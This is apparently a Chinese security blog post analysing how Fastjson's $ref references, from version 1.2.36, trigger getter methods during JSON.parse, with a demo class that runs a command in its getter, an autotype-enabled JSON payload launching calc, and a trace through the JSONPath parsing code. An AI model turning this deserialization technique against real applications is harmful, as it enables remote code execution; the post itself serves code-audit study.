[Java安全]Fastjson＞=1.2.36$ref引用可触发get方法分析

最新推荐文章于 2024-02-21 20:10:36 发布

Y4tacker

最新推荐文章于 2024-02-21 20:10:36 发布

阅读量2.2k

点赞数 7

分类专栏：安全学习 # Java代码审计 # 我的JAVA学习之路文章标签： java

本文链接：https://blog.csdn.net/solitudi/article/details/120275526

版权

安全学习同时被 3 个专栏收录

210 篇文章 87 订阅

订阅专栏

我的JAVA学习之路

55 篇文章 17 订阅

订阅专栏

Java代码审计

38 篇文章 17 订阅

订阅专栏

写在前面

平时我们在处理fastjson反序列化的时候，如果我们想要执行属性的get方法，而如果只有JSON.parse怎么办
我们知道JSON.parse可以套一层parseObject实现对get方法的调用，但说这个也没有必要继续本篇的介绍了，这里介绍另一种，废话不多说开始分析

JSONPath语法

看文档https://goessner.net/articles/JsonPath/，重点关注下这个
在这里插入图片描述

利用演示

人比较不老实，喜欢骚东西，这里执行下命令

public class Test {
    private String cmd;

    public String getCmd() throws IOException {
        Runtime.getRuntime().exec(cmd);
        return cmd;
    }

    public void setCmd(String cmd) {
        this.cmd = cmd;
    }
}

触发

    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "[{\"@type\":\"com.yyds.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
        Object o = JSON.parse(payload);
    }

最爱的计算器
在这里插入图片描述

$ref引用触发get方法分析

简简单单引入依赖

<dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.36</version>
</dependency>

老规矩拉到底，看看调用栈再分析
在这里插入图片描述
跟进handleResovleTask函数

获取$ref
至于如果你问在哪里设置的在DefaultJSONParser#parse()

ok，不说废话，继续看下去，满足条件跟进
在这里插入图片描述
这里面没有返回null

接下来重点来了，我们看看JSONPath.eval函数干了什么

跟进compile

根据path生成并返回一个JavaPath对象
在这里插入图片描述
继续看看eval

这里有一个init函数执行

我们重点关注这个explain函数，把$ref的value解析成Segment，这个Segment是定义在JSONPath类的一个接口，具体看他的过程

这里初始化长度是8很好奇吗
因为实现segment接口的类只有八个